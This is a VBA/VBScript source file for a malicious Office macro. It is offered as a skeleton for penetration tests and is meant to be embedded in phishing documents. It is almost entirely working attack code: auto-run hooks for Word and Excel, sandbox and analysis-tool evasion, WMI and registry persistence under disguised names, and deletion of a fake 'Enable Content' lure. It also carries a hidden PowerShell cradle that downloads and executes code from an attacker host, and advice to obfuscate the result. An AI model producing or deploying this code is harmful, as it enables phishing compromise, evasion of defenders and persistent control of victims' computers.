RobustPentestMacro.vbs

'
' RobustPentestMacro.vbs
'
' SYNOPSIS:
'   This is a skeleton code for the malicious Macro that could
'   be used during Penetration Testing assignments (or for education
'   purposes), in order to embed it within Phishing documents as a
'   Microsoft Office macro.
'
'   There are following features implemented:
'   - Windows and MacOS X support
'   - Sandbox detection - allowing to exit macro when being scanned
'   - Windows WMI Subscription and Registry persistence - to survive system restart
'   - Shape removal - for hiding fake "Enable Content" warning (formed as a textbox shape)
'   - Supporting both MSWORD and EXCEL startup routines
'
' QUICK USAGE:
'   Everything that one has to do with this script is to fill up the 
'   Malware() routine and if needed set up constants in CONFIGURATION.
'   One can use for the purpose of filling `Sub Malware()` predefined functions:
'       - ExecuteCommand(command)
'       - ExecuteCommandAndPersist command, startupTaskName
'
'   Finally, one should definitely feed this script into some kind of Visual
'   Basic obfuscator, like this one:
'       https://github.com/mgeeky/VisualBasicObfuscator
'
'   The macro's code has been built up from various building blocks:
'   - https://gist.github.com/mgeeky/07ffbd9dbb64c80afe05fb45a0f66f81
'   - https://gist.github.com/mgeeky/61e4dfe305ab719e9874ca442779a91d
'   - https://gist.github.com/mgeeky/9cb6acdec31c8a70cc037c84c77a359c
'
'
' DISCALIMER:
'   The author of this code is not taking any responsibilities of
'   any illegal usage of it. The code had been created solely for
'   Penetration Testing purposes.
'
'
' AUTHOR:
'   Mariusz Banach / mgeeky, '17
'   Shared on GPL license.
'

' ================================================================
'   CONFIGURATION
'
' The most essential configuration here is the EXECUTE_COMMAND variable
' that has to contain a command to be launched upon execution. This
' command can be for instance "powershell -noP -sta -w 1 -enc <code>" payload
'
' Further options are documented below and are self-explanatory.
'

' Specifies whether to schedule below command EXECUTE_COMMAND at startup
Const USE_PERSISTENCE = True

' Specifies whether to use Sandbox detection code and exit upon positive
' detection
Const USE_SANDBOX_DETECTION = True

' Specifies whether to apply Social Engineering trick that deletes a floating
' shape (textbox, picture or something else) imitiating "Enable Content" fake
' warning to make the victim run macros.
Const DELETE_WARNING_SHAPE = True

' Specifies name for that fake shape. The fake shape's name can be set by going:
' Ribbon -> HOME -> Editing -> Select -> Selection Pane -> change name.
' NOTICE:
'   You better choose somewhat random name here, as the possible script obfuscation
'   will not obfuscate Const values (this would introduce syntax error).
Const WARNING_SHAPE_NAME = "warning-div"


' ================================================================
' REQUIRED BY PAYLOADS SYSTEM API IMPORTS

#If Mac Then
    #If VBA7 Then
        ' 64-bit Mac (2016)
        Private Declare PtrSafe Function system Lib "libc.dylib" Alias "system" _
            (ByVal command As String) As Long
    #Else
        ' 32-bit Mac
        Private Declare Function system Lib "libc.dylib" Alias "system" _
            (ByVal command As String) As Long  
    #End If
#ElseIf VBA7 Then
    Private Declare PtrSafe Function isDbgPresent Lib "kernel32" Alias "IsDebuggerPresent" () As Boolean
#Else 
    Private Declare Function isDbgPresent Lib "kernel32" Alias "IsDebuggerPresent" () As Boolean
#End If


Public alreadyLaunched As Integer


' ================================================================
' ATTACKER-SPECIFIC MACRO CODE
'

Private Sub WindowsMalware()
    
    ' ***********************************************
    '
    ' ENTER YOUR *WINDOWS* MALWARE CODE HERE.
    '
    ' You can use following functions as building primitives:
    '   - ExecuteCommand(command)
    '   - ExecuteCommandAndPersist command, startupTaskName
    '
    ' ***********************************************


    ' ===========================================
    ' EMPIRE POWERSHELL PART
    '
    '   (Empire: listeners)> usestager windows/macro
    '

    Dim t As String
    t = "powershell -noP -sta -w 1 -enc  ABCDEFGHIJKLMNOPQRSTUW"
    t = t + "ABCDEFGHIJKLMNOPQRSTUWXYZabcdefghijklmnopqrstuwxyZ"
    ' CUT FOR BREVITY
    ' [...]
    t = t + "ABCDEFGHIJKLMNOPQRSTUWXYZabcdefghijklmnopq="

    ExecuteCommandAndPersist t, ""


    ' ===========================================
    ' METASPLOIT METERPRETER PART
    '
    '   msfconsole -> web_delivery
    '

    Dim Command As String
    Dim str As String
    Dim exec As String

    Arch = Environ("PROCESSOR_ARCHITECTURE")
    windir = Environ("windir")
    If Arch = "AMD64" Then
        Command = windir + "\syswow64\windowspowershell\v1.0\powershell.exe"
    Else
        Command = "powershell.exe"
    End If

    str = " -nop -w hidden -c [System.Net.ServicePointManager]"
    str = str + "::ServerCertificateValidationCallback={$true};"
    str = str + "$a=new-object net.webclient;$a.proxy=["
    str = str + "Net.WebRequest]::GetSystemWebProxy();$a.Proxy."
    str = str + "Credentials=[Net.CredentialCache]::DefaultCredentials;"
    str = str + "IEX $a.downloadstring('https://<ATTACKER-IP>/<URI>');"

    exec = Command + str

    ExecuteCommandAndPersist exec, ""
End Sub

Private Sub MacMalware()    

    ' ***********************************************
    '
    ' ENTER YOUR *MAC OS X* MALWARE CODE HERE.
    '
    ' You can use following functions as building primitives:
    '   - ExecuteCommand(command)
    '   - ExecuteCommandAndPersist command, startupTaskName
    '
    ' ***********************************************

    Dim result As Long
    Dim cmd As String
    cmd = "ABCDEFGHIJKLMNOPQRSTUWXYZabcdefghijklmnopqrstuwxyz0123"
    cmd = cmd + "ABCDEFGHIJKLMNOPQRSTUWXYZabcdefghijklmnopqrstuwx"
    ' CUT FOR BREVITY
    ' [...]
    cmd = cmd + "ABCDEFGHIJKLMNOPQRSTUWXYZabcdefghijklmnopqrstuwx"
    cmd = cmd + "ABCDEFGHIJKL=="

    Dim fullCommand As String
    fullCommand = "echo ""import sys,base64;exec(base64.b64decode(\"" " & cmd & " \""));"" | python &"

    ExecuteCommandAndPersist fullCommand, ""
End Sub


' ============================================
' MALWARE PLATFORM-DEPENDENT LAUNCH ROUTINES


Private Sub Malware()
    #If Mac Then
        MacMalware
    #Else
        WindowsMalware
    #End If
End Sub

Private Sub Launch()
    If alreadyLaunched = True Then
        Exit Sub
    End If
    If USE_SANDBOX_DETECTION = True Then
        If IsRunningInSandbox() Then
            Exit Sub
        End If
    End If
    Malware
    If DELETE_WARNING_SHAPE = True Then
        DeleteWarningShape WARNING_SHAPE_NAME, True
    End If
    alreadyLaunched = True
End Sub


' ============================================
' EXECUTION ROUTINES


Private Sub ExecuteCommandAndPersist(ByVal str As String, ByVal taskName As String)
    If USE_PERSISTENCE = True Then
        Persistence str, taskName
    End If

    ExecuteCommand (str)
End Sub

Private Sub ExecuteCommand(ByVal str As String)
    #If Mac Then
        ' Mac/BSD/*nix style execute command via system()
        system(str)
    #Else
        ' Windows-style create process via WMI create process object
        Const HIDDEN_WINDOW = 0
        Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
        Set objStartup = objWMIService.Get("Win32_ProcessStartup")
        Set objConfig = objStartup.SpawnInstance_
        objConfig.ShowWindow = HIDDEN_WINDOW
        Set objProcess = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
        objProcess.Create str, Null, objConfig, intProcessID
    #End If
End Sub


' ============================================
' PERSISTENCE RELATED


Private Sub Persistence(ByVal exePath As String, ByVal taskName As String)
    #If Mac Then
        If Len(taskName) = 0 Then
            ' Recommended: "com.java.update"
            taskName = RandomString(8)
        End If
        MacPersistence exePath, taskName
    #Else
        If Len(taskName) = 0 Then
            ' Recommended: "Java Update"
            taskName = RandomString(8)
        End If
        WindowsPersistence exePath, taskName
    #End If
End Sub

Sub MacPersistence(ByVal cmd As String, ByVal taskName As String)
    ' To be implemented, for instance using LaunchAgents PLIST technique
End Sub

Public Function WindowsPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean
    If WMIPersistence(exePath, taskName) <> True Then
        RegistryPersistence exePath, taskName
    End If
End Function

Public Function WMIPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean
    Dim filterName, consumerName As String
    Dim objLocator, objService1
    Dim objInstances1, objInstances2, objInstances3
    Dim newObj1, newObj2, newObj3
    
    On Error GoTo Failed
    
    filterName = taskName & "Event"
    consumerName = taskName & "Consumer"
    
    Set objLocator = CreateObject("WbemScripting.SWbemLocator")
    Set objService1 = objLocator.ConnectServer(".", "root\subscription")
    
    '
    ' Step 1: Set WMI Instance of type Event Filter
    '
    Set objInstances1 = objService1.Get("__EventFilter")

    ' The malware originally will kicks in after roughly 3 minutes since System gets up.
    ' One can modify this delay time by modifying the WHERE clausule of the below query.
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 " _
    & "WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' " _
    & "AND TargetInstance.SystemUpTime >= 200 AND " _
    & "TargetInstance.SystemUpTime < 320"
    
    ' New object of type __EventFilter
    Set newObj1 = objInstances1.Spawninstance_
    newObj1.Name = filterName
    newObj1.eventNamespace = "root\cimv2"
    newObj1.QueryLanguage = "WQL"
    newObj1.Query = Query
    newObj1.Put_
    
    '
    ' Step 2: Set WMI instance of type: CommandLineEventConsumer
    '
    Set objInstances2 = objService1.Get("CommandLineEventConsumer")
    Set newObj2 = objInstances2.Spawninstance_
    newObj2.Name = consumerName
    newObj2.CommandLineTemplate = exePath
    newObj2.Put_
    
    '
    ' Step 3: Set WMI instance of type: Filter To Consumer Binding
    '
    Set objInstances3 = objService1.Get("__FilterToConsumerBinding")
    Set newObj3 = objInstances3.Spawninstance_
    newObj3.Filter = "__EventFilter.Name=""" & filterName & """"
    newObj3.Consumer = "CommandLineEventConsumer.Name=""" & consumerName & """"
    newObj3.Put_
    
    WMIPersistence = True
    Exit Function
Failed:
    WMIPersistence = False
End Function

Public Function RegistryPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean
    On Error GoTo Failed
        
    Const HKEY_CURRENT_USER = &H80000001
    strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Run"
    strComputer = "."
    Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\default:StdRegProv")
    strValueName = taskName
    strValue = exePath
    objReg.SetExpandedStringValue HKEY_CURRENT_USER, strKeyPath, strValueName, strValue
    
    RegistryPersistence = True
    Exit Function
Failed:
    RegistryPersistence = False
End Function


' ============================================
' SANDBOX DETECTION RELATED


Public Function IsRunningInSandbox() As Boolean
    #If Mac Then
        ' This obviously doesn't work under Mac OS X
        IsRunningInSandbox = False
        Exit Function
    #End If

    Dim test As Boolean
    If IsFileNameNotAsHexes() <> True Then
        IsRunningInSandbox = True
        Exit Function
    ElseIf IsProcessListReliable() <> True Then
        IsRunningInSandbox = True
        Exit Function
    ElseIf IsHardwareReliable() <> True Then
        IsRunningInSandbox = True
        Exit Function
    End If
    IsRunningInSandbox = False
End Function

Public Function IsFileNameNotAsHexes() As Boolean
    Dim str As String
    Dim hexes As Variant
    Dim only_hexes As Boolean
    
    only_hexes = True
    hexes = Array("0", "1", "2", "3", "4", "5", "6", "7", _
                    "8", "9", "a", "b", "c", "d", "e", "f")
    str = ActiveDocument.Name
    str = Mid(str, 1, InStrRev(str, ".") - 1)
    
    For i = 1 To UBound(hexes, 1) - 1
        Dim ch As String
        ch = LCase(Mid(str, i, 1))
        If Not (UBound(Filter(hexes, ch)) > -1) Then
            ' Character not in hexes array.
            only_hexes = False
            Exit For
        End If
    Next
    
    only_hexes = (Not only_hexes)
    IsFileNameNotAsHexes = only_hexes
End Function

Public Function IsProcessListReliable() As Boolean
    Dim objWMIService, objProcess, colProcess
    Dim strComputer, strList
    Dim bannedProcesses As Variant
    
    bannedProcesses = Array("fiddler", "vxstream", _
        "tcpview", "vmware", "procexp", "vmtools", "autoit", _
        "wireshark", "procmon", "idaq", "autoruns", "apatedns", _
        "windbg")
    
    strComputer = "."

    Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & strComputer & "\root\cimv2")
    
    Set colProcess = objWMIService.ExecQuery _
    ("Select * from Win32_Process")
    
    For Each objProcess In colProcess
        For Each proc In bannedProcesses
            If InStr(LCase(objProcess.Name), LCase(proc)) <> 0 Then
                ' Found banned process.
                IsProcessListReliable = False
                Exit Function
            End If
        Next
    Next
    If isDbgPresent() Then
        IsProcessListReliable = False
        Exit Function
    End If
    IsProcessListReliable = (colProcess.Count() > 50)
End Function

Public Function IsHardwareReliable() As Boolean
    Dim objWMIService, objItem, colItems, strComputer
    Dim totalSize, totalMemory, cpusNum As Integer
    
    totalSize = 0
    totalMemory = 0
    cpusNum = 0
    
    Const wbemFlagReturnImmediately = &H10
    Const wbemFlagForwardOnly = &H20

    strComputer = "."
    
    ' Checking total HDD size
    Set objWMIService = GetObject _
    ("winmgmts:\\" & strComputer & "\root\cimv2")
    Set colItems = objWMIService.ExecQuery _
    ("Select * from Win32_LogicalDisk")
    
    For Each objItem In colItems
        Dim num
        num = Int(objItem.Size / 1073741824)
        If num > 0 Then
            totalSize = totalSize + num
        End If
    Next
    
    If totalSize < 60 Then
        ' Total HDD size of the machine must be at least 60GB
        IsHardwareReliable = False
        Exit Function
    End If
    
    ' Checking Memory
    Set colComputer = objWMIService.ExecQuery _
    ("Select * from Win32_ComputerSystem")
    
    For Each objComputer In colComputer
        totalMemory = totalMemory + Int((objComputer.TotalPhysicalMemory) / 1048576) + 1
    Next

    If totalMemory < 1024 Then
        ' Total Memory is less than 1GB
        IsHardwareReliable = False
        Exit Function
    End If
    
    Set colItems2 = objWMIService.ExecQuery("SELECT * FROM Win32_Processor", "WQL", _
        wbemFlagReturnImmediately + wbemFlagForwardOnly)
        
    For Each objItem In colItems2
        cpusNum = cpusNum + objItem.NumberOfLogicalProcessors
    Next
    
    If cpusNum < 2 Then
        ' Nowadays everyone has at least 2 logical cores.
        IsHardwareReliable = False
        Exit Function
    End If
    
    IsHardwareReliable = True
End Function


' ============================================
' OTHERS

Private Sub DeleteWarningShape(ByVal textBoxName As String, ByVal saveDocAfter As Boolean)
    Dim shape As Word.shape
    On Error Resume Next
    For Each shape In ActiveDocument.Shapes
        If StrComp(shape.Name, textBoxName) = 0 Then
            shape.Delete
            Exit For
        End If
    Next
    If saveDocAfter Then
        ActiveDocument.Save
    End If
End Sub

Function RandomString(iLength As Integer) As String
    Dim i As Integer, iTemp As Integer, bOK As Boolean, strTemp As String
    For i = 1 To iLength
        Do
            iTemp = Int((75) * Rnd + 48)
            Select Case iTemp
            Case 48 To 57, 65 To 90, 97 To 122: bOK = True
            Case Else: bOK = False
            End Select
        Loop Until bOK = True
        bOK = False
        strTemp = strTemp & Chr(iTemp)
    Next i
    RandomString = strTemp
End Function



' ============================================
' AUTORUNS


Sub AutoOpen()
    ' Becomes launched as first on MS Word
    Launch
End Sub

Sub Document_Open()
    ' Becomes launched as second, another try, on MS Word
    Launch
End Sub

Sub Auto_Open()
    ' Becomes launched as first on MS Excel
    Launch
End Sub

Sub Workbook_Open()
    ' Becomes launched as second, another try, on MS Excel
    Launch
End Sub